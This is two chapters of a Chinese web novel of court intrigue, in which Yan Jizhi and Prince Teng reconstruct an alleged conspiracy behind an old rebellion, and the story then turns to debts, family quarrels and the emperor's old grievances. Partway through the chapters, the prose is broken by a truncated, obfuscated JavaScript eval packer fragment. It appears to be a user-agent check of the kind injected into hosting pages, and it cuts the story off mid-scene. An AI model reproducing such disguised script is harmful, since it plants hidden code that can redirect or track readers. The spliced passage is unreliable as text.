霍擎靠在藤椅里摇啊摇,霍秦川被气得够呛:“朱存焳,他还真做得出来啊他,前脚收到太上皇要召护国公回京的信儿,后脚就派个幕僚进京来,他想做什么,他生怕没人能窥测出他想要侵吞北境的心都已经藏不住了吗?” 如此急不可耐,反心昭然若揭! “镇守安西的大将要换,你让贵妃出面,请老秦王出山。”霍擎交代,霍秦川惊了惊:“老秦王?老秦王跟爹您可是同龄,何况太上皇还能让老王爷再碰兵权吗?” 老秦王71岁高龄,是肃宗皇帝的幼弟、太宗皇帝最小的儿子,当前辈分最高的宗亲,曾数十载都是最得重用的宗亲,一度还曾执掌三军,而今避世已有十余年了。 “他都窝囊十几年了,真要窝囊到死吗?爹相信他宁可战死沙场都不想死在病榻上。”霍擎坚定道:“你只管和秦王打好招呼,安西换将,没人能比老秦王更合适。” 霍秦川豁然醒悟父亲的高瞻,他比老父还差之远矣啊,念起多年来深居简出的老秦王,他不禁有点唏嘘:“二十年前,老王爷还给那群小娃教授过武艺,陛下、魏王、镇南侯、霍海啸、晏霁之……当时同在拙曜堂读书的小娃都得老秦王教导过。” 沉默稍许,霍擎喝碗茶说:“爹收到的第二则消息,北境出事了,原家的回馈到了,原小将军正在进京的路上,四月二十,他定会抵达京中。让霍漓江拦住他闺女,霍漓江不够,再算上你和霍宝鸾,一定要拦住灵渠,当前他们绝对不能见面。” “爹,您明日就要见贵妃,您劝贵妃不是正好么?”霍秦川提醒,霍擎幽幽看向大儿,霍秦川眼神瞟瞟,哼着老爹欺负他们的不满嘟囔:“大皇子要在魏王府多住几天,儿子看,陛下和魏王都没那么好耐心还等着对方来出手,八成要凑到一起了。” “凑就凑吧。”霍擎老脸淡漠,眸光沉沉。 晏霁之在回家途中得到原家的消息,是行知截住他亲自告知他的,行知还给他送来封护国公的亲笔信,他拆信看看,信上就六个字:原牧炽敢硬抢。 115. 第115章 皇家当前载于玉牒的宗亲有二千多人,宗亲爵位可传袭七代,第一代得封亲王爵,第二代承袭亲王爵,第三代降为郡王爵,第四代降爵为郡公,第五代为侯爵,第六代降做伯爵,第七代子爵为末等,再往后泯然于芸芸众生,然七代爵位足以保百年富贵。 目前除太上皇的皇子、正徽帝的兄弟之外,还有亲王爵禄的宗亲有六家:秦王、代王、虢王、谷王、恒山王和滕王。当中,秦王之父老秦王乃太宗皇帝幼子,是太宗皇帝众儿女中唯一还在世的孩儿,在宗室的辈分最高,只是威望低了。 太上皇十多年来不断疏远秦王府,反而虢王府近年来愈发得太上皇重用,虢王之父,已故的先虢王是太宗皇帝的第十子。太宗皇帝共有十三个儿子,惠宗皇帝乃太宗皇帝第八子,肃宗皇帝——今太上皇之父、正徽帝的祖父乃是太宗皇帝第十一子。 太宗驾崩时,惠宗有七个兄弟在世;及至惠宗驾崩,仅余四名弟弟。 代王则是惠宗遗孤,谷王乃肃宗皇帝幼子,恒山王四十五岁比谷王这小叔还大好几岁,是肃宗皇帝的嫡长孙,循制应封郡王,太上皇在三十年前破格钦封大侄儿为亲王。 至于滕王? 滕王年届二十五岁和霍贵妃是同龄人,他爹在十五年前、在授康十八年、在他还只有十岁时就过世了,故而滕王十岁就袭爵做亲王了。 晏霁之回家碰到滕王在等他,不禁打趣:“王爷不会是来找我逛夜市的吧?” “想是这么想的,但怕你今夜没空,”注意到他额头的划伤,滕王新鲜了,被迫扭转:“你额头怎么了,你最近不是一个小妾都没有吗,还有谁会把你抓伤?” 滕王的眼神真不好,晏霁之纠正:“不是抓伤是砸伤,佟太太砸的。” “佟太太?”滕王迟疑:“英王妃啊,你们府里现在真的全管她叫佟太太了?” “嗯。”晏霁之一脸不想多谈,滕王识趣略过,转回刚才的话:“我远房表妹来找你了,我刚还跟她唠嗑了会儿,跟前两年大不同了,跟着她哥哥全国各地跑一年果然没白跑,她去给湘王送过份大礼刚回来,还给我送了块南红玛瑙,看来是要扬眉吐气来了。” “宜春县主?”晏霁之了然,湘王顺嘴说过她:表姐你还年年来打秋风啊。 “瞧着王爷像是找我有事。”晏霁之的语气偏肯定:“不然,您犯不着在晏家等我,您的首选该找薛述聪和晋王爷。”滕王和薛述聪是晋王的童年伴读。 “寒碜我是吧,好像你不知道我已经很少跟他俩凑堆了,我现在都跟大侄儿凑堆了。”滕王说着哀怨:“我也不想沦落到跟大侄儿玩,可我还能有得选吗? 小叔谷王家的娃小,湘王幼稚,恒山王虽然跟我是同辈,但他比我大二十岁啊,我不找恒山王家的侄儿玩还能找谁?总不能同个祖父的在,还往同个曾祖的找吧。” “有是有道理,但你就不怕庞贵妃半夜来找你吗?”晏霁之揶揄,滕王很看得开地着重举出四根手指提醒:“四十年啦,多少物是人非都翻篇了,你家晏煦之不都娶桓家女了,你曾祖父是我祖母庞贵妃的嫡亲舅父吧,咱俩是一表三千里的表兄弟吧?” 桓国公府正是肃宗皇帝原配桓皇后的娘家,恒山王乃已故桓皇后的嫡长孙。 “是,是,来,表弟喝茶。”晏霁之亲自斟茶给他,滕王险些被肉麻到,保持点距离再闲侃:“不过桓国公是真够舍得了,桓国公的爵位三代而斩,他可都已经是第三代了,一个国公的爵位啊多少人垂涎,他竟然都不扑腾下就放手了。” “怨不得恒山王不待见这表叔。”晏霁之不怀好意笑:“是不待见吧?” 滕王差点白他:“没瞎的都看得出来好吧,我那五伯在世时就怨声载道了,桓皇后生前多强横,想把后宫变成她的一言堂不算还想在前朝跟你曾祖父扳扳手腕,我爹活着时都说,若非桓皇后性格那么强横,我祖母庞贵妃也不可能宠冠后宫十八年。” “是呀,太强横,肃宗皇帝性情好,做王爷时府中大小事能全让给王妃做主,可做皇帝与做闲散王爷又岂能等同?桓国公大概是汲取姑母的教训了吧。”然晏霁之话锋一转又道:“但也没准儿,桓家若是能再出位桓皇后,爵位能再传几代都没准儿。” “你家爵位世袭罔替,你当然能随意说风凉话。”滕王看不惯地对呛:“圣人立霍皇后,授康年间霍皇后闹过几回想让穆国公的爵位世袭罔替,有用吗? 霍皇后的八公主殁了,圣人都没让穆国公的爵位多传袭一代。再看朱家,这十多年来,圣人多恩宠朱家,可昌隆侯的爵位还是三代而斩,桓国公还不够舍得吗?” 够!但晏霁之就是嗅出丝古怪,桓国公当真如此舍得吗?他的印象中桓国公就是从商,以前从未想过有何不妥,这会儿谈论起来,他总觉得有些不对劲。 “落到你头上,你能这么舍得吗?” “还行吧,荣华富贵也得有命享不是?”滕王藏着眼底的落寞,豁达地摊摊手:“我爹生前可是宗室第一聪明人,我爹不到三十岁就走了,多少人看我们家笑话。 结果四伯造反,多少宗亲被清剿,连二伯家、五伯家、六伯家都全没了,我家反倒因为我爹已经过世而保住了全家,这世事无常的,何必太强求。” “授康二十六年,圣人给昌隆侯的嫡幼子和恒山王的嫡女赐婚之前必定问过恒山王,你晓得恒山王何以会愿意跟朱家结亲吗?”晏霁之重新审视,越想越可疑。 滕王竖起食指和中指表示:“二十万两,昌隆侯许诺每年给他送二十万两银子。” “我爹生前还说呢,桓皇后和五伯疑神疑鬼得都怀疑过是不是朱家害了大伯,我就不信这堂兄不知道,居然也能跟朱家结亲,真服了他了。”滕王受不了地吐槽:“他又不缺钱花,桓国公每年送给他多少银两啊,至于为点钱就跟昌隆侯搭上嘛。” “他们两家的亲事不是圣人有意撮合,是恒山王和昌隆侯有意向后反请圣人赐婚吗?”晏霁之敏锐地意识到,滕王应是啊,晏霁之仍追问:“你确定?” “请你谨记我爹生前是宗室第一聪明人,我纨绔不代表我脑子不好使。”滕王严正告诫:“我跟我那大侄儿凑堆玩都快三年了,我还能连这么点小事都不清楚吗?” “你爹过世时你才十岁,你爹怎么会跟你说:桓皇后生前怀疑过朱家暗害愍文太子?”晏霁之绕回追溯疑点,先滕王特意提及应该是想借此引出些什么吧? 滕王浑然没多想:“闲聊呗,我爹当时重病在床,闲着就追忆追忆往事。” 晏霁之执起茶壶将两人的茶盏斟满,端起茶盏浅啜两口,顺理成章质疑:“倘若桓皇后怀疑过是朱家暗害愍文太子,她第一个怀疑的难道不该是晏家和庞家吗?” 滕王怔住,对啊,他六伯伯当年跟五伯为争储都闹到你死我活了:“你是说,我爹生前想交代给我的不是桓皇后生前怀疑过朱家,而是怀疑过晏家和庞家吗?” “我相信是,但这应该也没必要特意交代给你啊,除非你爹还有深意。”先滕王病逝于授康十八年,授康十八年有什么不同寻常吗?晏霁之猛地注意到个症结。 “虢王府的世子妃是昌隆侯的嫡女吧,虢王府怎么会愿意和昌隆侯结亲?” “是圣人赐婚,授康十八年,先昌隆侯病重,圣人为提携外祖家而特意赐婚,你不是这都不晓得吧,你没看见虢王府对这门亲事再不情愿都只能把世子妃供着么。” 滕王捧着茶盏喝茶,晏霁之只觉得装腔,甚至是不经思索就从脑海中蹦出来了。 “提携?你确定用提携二字合适吗?授康十八年,论在宗室的威望是秦王府,论亲疏,圣人有的是亲兄弟,圣人若是真想提携外祖家能轮得到虢王府和朱家结亲吗?” 嘎?滕王后知后觉意识到:“呃,对啊,朱家和谁家结亲还能比皇伯伯的恩宠更有用?以皇伯伯这十多年来对朱家的恩宠,是朱家反而在提携虢王府还差不多,我那四伯造反后,秦王府都没落了,虢王若没有和昌隆侯的这门姻亲,他家能出头才怪。” “所以,他们两家的亲事到底是圣人特意撮合还是也如恒山王府那般,是他们有意向后再请圣人赐婚怕是很值得商榷了。”而虢王府是真会装模作样了,和昌隆侯做十多年亲家,朱家的名声再臭,他家还都摘得干干净净浑似和昌隆侯府全然是陌路人。 晏霁之玩味道:“你爹在授康十八年过世,圣人也于授康十八年、于先昌隆侯去世前,给现任昌隆侯的嫡女和虢王世子赐婚;授康十九年,嬴天漾他爹就造反了。” 滕王脑瓜卡顿下,领悟他的话中意,猛然一个哆嗦:“你疯了,你想说什么,虢王和昌隆侯合谋蛊惑我四伯造反,我爹生前就已获悉,但是拦不住,因此用自己死来保住家眷吗?你真疯了是吧,我爹还能猜到皇伯伯会斩杀亲兄弟吗?” “若令圣人斩杀亲兄弟就是虢王和昌隆侯的既定谋划呢,你爹生前是宗室第一聪明人,他生前会查到些什么都不奇怪吧?”在此前,晏霁之从来没怀疑过虢王的心思,现下想来,虢王若真不想跟朱家结亲大可以拒绝,而不该是得了便宜还卖乖的惺惺作态。 晏霁之困惑的是昌隆侯的心思,难道授康十八年时昌隆侯就有皇帝梦了? 霍然间,晏霁之想到彭山惨祸、姬家的宝物!犹如醍醐灌顶一般,晏霁之忍不住笑了,以这位昌隆侯的性情,比起忧虑圣人是否愿意一直保他安稳,当然是还不如自己做皇帝,而一旦帝王梦在他心底生根,自是,圣人后来对他再恩宠都消不掉了。 “我想,你爹生前想交代给你的是,倘若恒山王和昌隆侯结亲,很可能意味着恒山王、虢王和昌隆侯都有反心,虢王和昌隆侯若想造反,名不正言不顺,他们需要有人挡在前,而这个人再没有比肃宗皇帝的嫡长孙、愍文太子的嫡长子更适当的了。” 滕王忒想送个服字给他:“你太太太能想了吧,虢王作甚想造反,昌隆侯又作甚想帮着虢王反他亲表哥,虢王还能比圣人对朱家更好吗?天塌下来都不要瞎想。” 晏霁之轻飘飘反问:“四十六年前,肃宗皇帝的十二弟作甚要造反?” 滕王心里咯噔下,下意识不相信:“不、不可能啊,那个叔祖是不安生,虢王又不是,先虢王还是走在我祖父前头的呢,我皇祖父和皇伯伯又没亏待过虢王府。” “惠宗崩逝时还有四个弟弟在世,兄弟十三人,就剩最小的这四位了。肃宗皇帝是太宗皇帝的第十一子,先虢王是太宗皇帝的第十子,先虢王还是肃宗皇帝的兄长呢。” 晏霁之直白地含沙射影,滕王头疼:“都五十多年了,先虢王在世时都没闹出什么事,难道反而现任虢王还不忿了?你不能这样随意怀疑人家是吧,这是要掉脑袋的。” “你又焉知先虢王在世时没有不忿,只是没有他十二弟的胆量发作出来?” 灯辉映入眼帘,晏霁之看眼天际,站起来走到凉亭前,在假山高处遥望着红日将沉没。下刻,奴婢们走上假山,掌灯、奉上酒水菜肴,而后告退离去。 滕王手执酒壶走到凉亭前,递杯酒给他,劝他:“你还是不要胡思乱想了。” “本来同是宗亲,一朝整肃朝纲,本来同是宗亲的兄弟突然甩下他们荣登天下至尊位,这落差小吗?”晏霁之饮尽酒水,瞩目着红日愈发黯淡,他眼底的暗芒愈盛:“何况,这世间是给出好就能收获感恩吗?还有怨恨吧,认为这是在施舍。” “我是绝不会因你三言两语就胡乱怀疑谁的。”滕王表态。 “圣人的嫡长兄愍文太子是怎么死的?”晏霁之拿过酒壶倒杯酒,滕王差点没受不了:“病死的,正常病逝的,你有什么好怀疑,你曾祖父和我祖母都是顶顶骄傲的人好吧,他们不屑用下作手段,我祖母和六伯想争储是我那大伯薨逝之后的事。” “我怀疑的是桓皇后。”晏霁之说,滕王:“……”他无语凝噎:“人家是亲娘。” “一个强横至极的亲娘对孩儿是慈爱多还是恐怖多?”晏霁之再饮杯酒,不惮推测:“我怀疑是来自于母亲泰山压顶般的压力压着你大伯,害得他病重而亡。” 呃?居然好像也不是没点道理,强横的亲娘当然很恐怖,桓皇后有多严苛可想而知的。滕王模棱两可:“嗯,据说我那大伯挺仁弱。”扛不住亲娘的重压是有可能。 “是故,我们可以合理地推想,四十年前你大伯病逝,桓皇后就恨得要除掉庞贵妃了,逼得庞贵妃不得不争储君位。肃宗皇帝册立新储君,你五伯又想当然怀疑朱家乃至是朱家和晏家合谋;桓家有清醒,桓国公不想再蹚浑水,干脆不入仕。 可饶是如此,你五伯和恒山王都没想放过桓家,桓国公每年都得给他们送大把银两。恒山王和昌隆侯搭上后,他又要求桓国公把万贯家财都献出来,当时赶上太微宫营建被搁置,桓国公太清楚表侄儿的心思了,因此他宁可掏空大半家底营建太微宫。” 推论毕,晏霁之转过视线看向滕王,滕王苦逼地发现他好像反驳不了。 “呃,天黑了,我就不打扰了,我先走了,你不用送了。”滕王想还是走为上策。 “你就不想知道今早圣人和陛下因何大吵吗?”管他想不想,晏霁之爽朗地灌输给他:“陛下收到密报,昌隆侯想害蜀王死在北境,你总清楚这意味着什么吧?” 逼得滕王硬生生刹住脚步,不得不又往回走两步走回凉亭,步伐还踩得贼重,他烦啊:“我是个纨绔!你总知道我是个纨绔吧,我不想做纨绔,可我有得选吗? 阿漾还活着,我想去南疆看看他都不能,我想出趟远门瞧瞧京畿外的风景都不能,我只能在京畿在我皇伯伯的眼皮底下做个纨绔,我也不想活得这么窝囊,可我身后有一大家人,若是我家就剩我一个,我就豁出去了,可我身后还有一大家子人。” 晏霁之注视着假山望远的开阔视野里灯火落错,没有恻隐之心地自顾倒酒喝。 滕王憋屈地握握拳咬咬牙,环顾圈四周,做贼心虚似的微微倾斜身体凑近他悄声疑惑:“昌隆侯怎么回事,虢王难道还能比圣人对朱家更好吗?他不可能这都想不通吧。” “所以,他不是在帮扶虢王。陛下登基以来,他又和晋王越走越近,昌隆侯是真会拉人来掩藏他自己了,虢王设想得好啊,殊不知他也只是昌隆侯的盘中餐。” 晏霁之想想前世,恒山王和虢王没现形应该就是朱家被灭门中断了他们的谋划吧。 “啊呦我头疼,头疼啊。”滕王糟心地退回石桌前坐,晏霁之慢两步走到石桌前落座。凉亭外,烧红的夕阳沉没,黯淡天地间亮起数不尽的灯火温暖人间。 虢王烦地连倒好几杯酒灌下,他就算能信昌隆侯已经权欲熏心也不能信阴谋那么深啊:“嗳不是,就算,就算虢王和昌隆侯可能有反心,授康十九年,我四伯造反又怎么可能跟他们有关系?他们作甚要蛊惑我四伯造反,还要怂恿圣人斩杀亲兄弟?” “在授康十八年之前,宗亲中老秦王深得倚重,你四伯是圣人的同母兄弟更当仁不让,你五伯和六伯几乎已经修好,你爹被誉为宗室第一聪明人,还有你二伯,圣人有亏待过吗?单是宗亲就有多少人挡在他们前头,他们不得圣人重用如何积蓄势力?” 晏霁之问:“授康十九年你四伯造反后,朝中的形势又如何?” 滕王唰地下变脸,眼眸铮亮,眼底闪烁着惊悚和若有似无他自己都没察觉的恨。 “四伯造反,小叔公老秦王被圣人防备至深,当时北疆危急,皇伯伯宁可重新启用护国公府都不愿意再让老秦王掌军,二伯家、五伯家和六伯家更是全都没了。 还有十多家宗亲被累及,相反的是虢王府和昌隆侯府朱家,虢王府逐渐被重用,昌隆侯府朱家更是一跃成为十五年来圣人最恩宠的人家,享尽了皇恩。” “此外,你四伯造反对他们附带的好处是,圣人大肆屠戮宗亲能令皇家宗室与他背离,有利于虢王趁机收揽人心;二则,他们能趁机暗中接收包括你四伯留下的众多残余势力,一箭三雕。” 晏霁之话落,滕王狠狠一拳头砸在石桌上,恨意瘆人。 晏霁之讽刺想,虢王府还真是够没种了,做这么多事,前世朱家被灭门后留下的势力,虢王能接手的恐怕都被他接收走了,聚拢起来的势力必定已经不小,居然都还没胆量发作!先虢王若是因多年积郁不忿而郁郁而终,窝囊得可真不委屈了。 “我曾祖父的眼光真好。”晏霁之忽然甚是有感:“五十三年前,他拥戴的是肃宗皇帝;三十五年前,他中意的是当今圣人。否则,若是肃宗皇帝三个兄弟中的某一位、你二伯或者四伯五伯六伯乃至是你爹,我晏家都有可能早已万劫不复了吧?” 滕王哑然,皇祖父和皇伯伯对晏家是真好,他爹和伯伯们应该是都做不到的。 “老六身上那股意气风发的劲儿,我一直认为是随护国公,其实也可能是随父亲吧。”晏霁之低眸唏嘘更感悲哀,圣人何苦啊在权欲中迷失,把自己变得面目全非。 “老六?老六失踪都十几年了。”滕王心戚戚:“是护国公府把老六藏起来了吧。” “对恒山王府,你多个防备吧,你当物是人非事事休矣,人家恐怕未必。再者,或许你可以查查你爹留下来的遗物。”晏霁之嘱咐过,再问他来晏家有何事。 滕王意兴阑珊地摆摆手:“没事,没事儿了。”然后被怼:“你就是个纨绔。” 他…他被噎得真的很想对呛,忍住了,很没好气地说:“是这几天有姑娘在比智招亲,我随意瞧了瞧,没想到那三道题真把我难住了,把我们一大群人都难住了。你要知道,我爹生前可是宗室第一聪明人,能让我拿跟智慧有关的事来找你,别不识好歹啊。” “什么样的题目?”晏霁之执起酒壶给彼此倒酒,就是副浑然没看在眼里的德行,滕王真不爽他这嚣张德行:“还是明晚你跟我过去,你当场作答,要不然你还思量个一天一夜,哪儿能显出你晏少爷的聪慧才智,哪儿能让大家伙服气,是吧?” “好!”晏霁之举杯,滕王冷哼,就不跟他碰杯,一饮而尽,昂首道:“告辞!” 晏霁之微笑着送到假山下,目送滕王消失在视野中,他慢步回蔚然居用晚膳。 夜的旋律响起,夜风融进酒香微微醉了,花草在烛光慢曲里翩翩起舞做夜的精灵。 膳毕,晏霁之去在蔚然居的书房,进屋后靠在太师椅里闭目养神,不一会儿,烦扰的吵闹声闯入耳,书房门紧随被撞开。晏霁之睁眸,看见请罪的婢女和宜春县主。 宜春县主萧灼灼蛾眉螓首,容光逼人,俊俏的眉眼间是锦绣富贵堆里滋养出来的高傲,在褪去青涩的双十年华里,她一袭织金红裙站立此间,明艳得夺目生辉。 “退下吧。”晏霁之端坐吩咐,婢女们告退,退至门槛外,没关门即离去。 “你额头还真受伤了呀?”萧灼灼自来熟地拉椅子坐,忍着幸灾乐祸的劲儿戳他肺管:“彤嫂嫂跟我提及时我还不大相信呢,真是你娘发火时将你砸伤的吗?” 晏霁之给她个冷眼,萧灼灼没当回事儿地得寸进尺:“哎呀不就划破点皮,你个大男人难道还要斤斤计较跟亲娘生气吗?你看佟家都要败落了,你娘心情差以及不慎砸伤你都在情理之中嘛,亲母子哪有隔夜仇,待会儿我就陪你去跟你娘言归于好吧。” 晏霁之冷下脸,萧灼灼憋闷地假装不是怵他:“嗳,对了,你的流光姨娘是霍灵渠啊,我进京前被你们京里的消息闹得眼花缭乱应接不暇的,特别是霍蓁蓁被逐出霍家,天爷啊,三个月前她还是举朝公认的未来的继后呢,这几天都变成阶下囚了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她爹娘有四儿两女,她有三个哥哥、一个比她小五岁的妹妹、一个比她小八岁的小弟。她的封号宜春县主是她幼龄时圣人钦封的,老秦王爷是她外祖母的同母弟,她娘的亲舅舅,当时老秦王爷深得圣人倚重,她娘都倍儿风光,连带着惠及到她了。 之后,虽然老秦王爷深居简出,秦王府在宗室的地位一落千丈,但对萧家没什么影响,她快快乐乐长到及笄,在十五岁遇到个青葱少年,互生喜欢,互许了终身。 但她的意中人是庶出,她爹娘对人家家族的感观更差,她提都不用提就知道,她爹娘绝不会同意这门亲事,三个哥哥都不会帮她,她都打算好死缠烂打、寻死腻活、以死相逼了,是她的意中人提议他们可以‘明修栈道、暗度陈仓’,直白来说就是—— 她选个家世相当又不会娶她的男人表倾慕,闹腾着非那人不嫁,乃至对那人死缠烂打,闹腾到她爹娘不再强求,只要还有人来提亲后她愿意嫁便给她送嫁就行了。 选中晏霁之,她就按计划行事了,她娘给她说亲事,她放话:她心悦晏霁之,在晏霁之娶妻前、至少在她二十岁前,她非晏霁之不嫁。她心想的嘛,蹉跎个一两年肯定够了,标榜二十岁之前纯粹是想表示下豪气,哪想真给她拖到二十岁了。 她把她心悦晏霁之、非晏霁之不嫁闹得人尽皆知后,他们就实行第二步,她来京畿找晏霁之,尽做能惹恼他的事逼他发狠,她好趁势表现出被他伤透心而死心了,谁想,晏霁之居然揪出了她的真实情况,捏着把柄索要五十万两才肯罢休。 萧灼灼当然不能答应啊,奈何被狠狠修理了顿,且又被捏个把柄后,萧灼灼她只能屈辱悲愤地签下五张十万两白银的欠条,从此陷在还债的水深火热里,她不敢告诉家人,她不敢告诉意中人,她更不敢把她自小攒起来的小金库挪用得太狠了被家里人发现。 她倒霉悲催地还得反过来问强行害她欠债的债主该怎样筹钱,晏霁之建议,绑架弟弟、假装绑匪向她父母要银两,向京畿的一大群富亲戚打秋风。 荒谬绝伦!萧灼灼对这种建议严词批判,但还是接受了,欠着债简直要命啊。于是,她绑架过她小弟后发现干绑匪确实来钱既快又轻省,干脆再绑架一回,她再来京畿打打秋风,哪想湘王把窗户纸捅破了,当众嘲她:表姐你还年年来打秋风啊。 萧灼灼那还剩的可怜的自尊和骨气死活不能再忍了,咬牙编个理由跟她哥出门做生意,走南闯北累死累活都还没把债还清,再来二十万两不是得把她老命搭上吗?! “我告诉你,二千两,就二千两,再多没有,你爱答应不答应。” 谁还没点脾气啊!萧灼灼甩下话,站起来踢开椅子,昂着头,豪气冲天地往外走。 晏霁之端起茶盅喝茶,果然没一会儿,萧灼灼灰溜溜溜回书桌前,窝囊地赔笑讨好:“咱们两家也能算沾亲带故是吧,你不看僧面看佛面,你就当看在流光姨娘的份上,我堂嫂是霍灵渠的堂姐,在霍贵妃面前多少有点情面,我大不了帮你们私会呗。” 萧灼灼口中的堂嫂便是霍舒窈,霍舒窈的公爹和萧灼灼她爹是嫡亲兄弟。 “不送。”晏霁之逐客,萧灼灼郁闷地掉头走掉,她被折磨地都摸清晏霁之的德行了,晏霁之没兴趣再谈时千万别磨他的耐性,不然倒霉受罪的绝对是自己。 廊前夜空,颗颗繁星闪烁,璀璨的星辰仿佛就是为弥补夜的枯寂而生。 显国公披着星光回家,回到家中,婆娘和女儿女婿都还在候着他,陡然一阵烦闷。 平原大长公主可注意不到丈夫的不耐烦,她等得还不耐烦呢:“我都派人催你几回了,你就不能早些回,这都戌时中了,衙门里有什么事不能留到明天办?” 显国公闷头灌茶,平原大长公主再想数落时被女儿拽着,她顺顺气略过去,改谈正事:“皇帝今早因何事大闹太微宫,你打探到没有,这么好的机会——” “行了!没什么能让你幸灾乐祸的。”显国公强硬道:“王妃,陪你母亲回屋。” 晋王妃觑着父亲的脸色是真差,不顾母亲多不愿意乃至生气起来都将母亲哄走了。 她们母女一走,屋中唯留显国公和晋王翁婿俩,晋王哼笑,岂能看不懂显国公是在故意摆给他看:“岳父何必因此就大动肝火,岳母虽不懂朝堂,也是好心嘛。” 显国公懒得费唇舌,提笔写下行字递给晋王,晋王接纸时还很随意,看清纸上的内容,他震惊得僵住半响才心跳逐渐正常,隐隐背脊发寒:“这消息可靠吗?” “王爷的三位兄长皆已获悉了。”显国公拿回宣纸放在火舌上烧毁,靠在椅中,疲惫道:“魏王让老臣带句话给王爷,在这件事情上,你们兄弟全是一条绳上的蚂蚱。” 晋王霍然转头死死盯着这位岳父,显国公丝毫没想再回应,平复下,已是满脸想发火又忍耐的压抑:“天黑前,霍秦川给我送来个消息,昌隆侯悄悄派了幕僚进京来,王爷清楚吗?他偷偷摸摸派幕僚来想做什么,打探京中的虚实好趁势侵吞北境吗?” “岳父,慎言!”晋王烦躁地拉过紫檀椅坐在书桌前,脑中被突来的震惊扰乱得不行,极速思量过后想还是把事情说了:“岳父,我知道你看不惯昌隆侯比霍家更甚,但朱家深得父皇恩宠没人能比,北境的兵权只能让昌隆侯拿,但我们才是一家人,” “北境可有三十万大军!王爷,昌隆侯若是拿下北境,你还能辖制得住他吗?他难道还能想不明白,你绝不会像圣人那般放纵他,他有多少年没被辖制过了还能忍得了被辖制吗?老臣斗胆说一句,王爷真不怕被当做踏脚石么,人心不足蛇吞象啊。” 显国公还能猜不出女婿的意图么,庄太妃的算盘打得好啊,想把蜀王的命算他头上! 晋王倏然变脸,忽而又似这岳父在故意危言耸听般不以为意地笑起来,却不知是想说服这岳父还是想说服自己:“岳父你瞎想什么呢,昌隆侯他姓朱。” “是啊,晏家都出过位摄政王呢,您祖父肃宗皇帝生前,晏家不能再往前走一步吗?”显国公冷笑:“能!摄政王没走,昌隆侯呢,您敢赌昌隆侯能有摄政王的忠诚吗?” 晋王脸渐渐发白,他再不愿意相信,心里的恐慌和疑心都不受控制地冒出来了。 一夜难眠,晋王又在清早犹豫踌躇直到辰时末,他才定下心进宫去找母妃。 而今晨早在辰时初,晏霁之就在皇宫里了。 晏霁之把原牧炽将进京的消息和护国公的亲笔信禀呈给皇帝,发现皇帝似乎不太在意,再看皇帝与平时大不相同很像在傻乐,怀疑皇帝是不是哪里不正常了。 “咳咳,霁之啊,假若,朕指的是假设啊,”正徽帝嬴忱璧压着笑尽量平淡:“假若流光姨娘指摘你对玉藏珠的深情只是你在犯贱,你欲如何?” “给她个教训。”晏霁之想,应该是皇帝昨日被霍贵妃骂犯贱又被开解过了。 “流光姨娘可是你的宠妾。”嬴忱璧不大相信:“教训她,你不心疼吗?” “让她三五天下不来床,我自然顾不上心疼她了。”晏霁之心中默默腹诽:您老都知道她是我的宠妾了还以为我会如何教训,您自个儿不避讳还能怨我坦诚吗? 嬴忱璧脸黑如锅底,晏霁之识相告退,嬴忱璧讥诮:“朕让你走了吗?” “陛下,我是个高雅的男人,我很不愿意被陛下骂滚,因而我自己提前告退妥当些。”晏霁之若有好意想要给君臣彼此留住体面,嬴忱璧再黑黑脸:“滚!” 晏霁之再作揖告退,直到他退出大殿消失不见,嬴忱璧才想起该勒令他不准去找贵妃,没法下达命令只得再憋团郁闷,但生气?皇帝反倒有种笑自己幼稚和斗嘴的乐趣。 或许就是不再作茧自缚的舒悦吧,哪怕心扉只是刚被推出条缝隙,仍有阳光照入。 116. 第116章 人若常年多愁善感心思脆弱,会把自己熬坏乃至病重病殁吗? 霍擎的答案是会,和孙女谈过,他既意外皇帝的心病更料定皇帝这是随生母了。 霍灵渠惊讶:“祖父之意,芮贤妃生前伤春悲秋不是念着进宫前的过往,是性情所致,芮贤妃生前就是个爱胡思乱想极易被外事外物影响的性子?” “错不了,皇帝承认他童年时少拿到颗糖都会胡想,还能没受生母的影响吗,芮贤妃生前怕是在路上偶遇个嫔妃没跟她打招呼都能猜疑郁结大半天。”霍擎叹口气,痛快认下了:“是霍家的罪过,但凡霍家上心些也不会害陛下落下心病更遑论一病二十多年。” “爹?”霍太后不满:“皇帝自个儿把自己封闭着,落下心病能怨谁?我还想怨他呢,我这个做母亲的何时故意亏待过他,霍家又哪里对他不好了,他竟然在心里对我和霍家埋着那么多怨,若非我灵儿心思细腻察觉到了,我竟不知他这么怨恨我?!” “养不教,谁之过,家长是只管对孩儿好没有亏待就算负责任了吗?”霍擎语重心长:“一个懵懂的小娃正是最需要长辈教导的时候,一个刚失去生母的小娃正是最脆弱的时候,这时候霍家接过孩子的教养,我们却养而不教还能不是霍家不负责任吗? 一个不到六岁的小娃养到你膝下,他怕养母对他不好,他怕受伤害,他因此落下心病,还能不是霍家的罪过吗?孩子孤僻,该咱们多开解他,咱们非但没担起责任,若反而还怨怪他孤僻,像什么样,何况没有在意哪来的怨啊,霍宝鸾。” 霍灵渠讶然看眼祖父,不禁垂眸反思,是她对皇帝存着偏见吗? “爹您何必把姿态摆那么低,我这做母亲的有何对不住他?”霍太后不肯买老爹的账:“说得难听点,他若是在芮贤妃和芮家手中长大,还不知会被养成什么鬼德行?” “皇帝是不是你儿,你是不是皇帝的母亲?”霍擎真不耐烦跟闺女掰扯,霍太后一噎,憋屈地甩脸走掉,霍灵渠掩唇笑:“祖父您还常言骄纵姑母呢,姑母哪儿骄纵了,世人多有未尽父母之责而只一味要求孩儿孝顺,姑母若是骄纵,这会儿早呛您了。” “得亏祖父我还有霍漓江常骂她才压着她呢。”老太爷一脸不以为然又小得意的表情,转思间又老脸略有凝重:“丫头,你是不是赞同你姑母啊?” 霍灵渠惊诧祖父的敏锐,没隐瞒地应了:“祖父洞察入微,我是不认为我们亏欠他,是他打心底里排斥霍家,先入为主地排斥霍家,我们有何对不住他?没有。但昨日,我嘲笑他犯贱,若不揽责,定然遭他记恨,这才昧心认下了是霍家对不住他。” 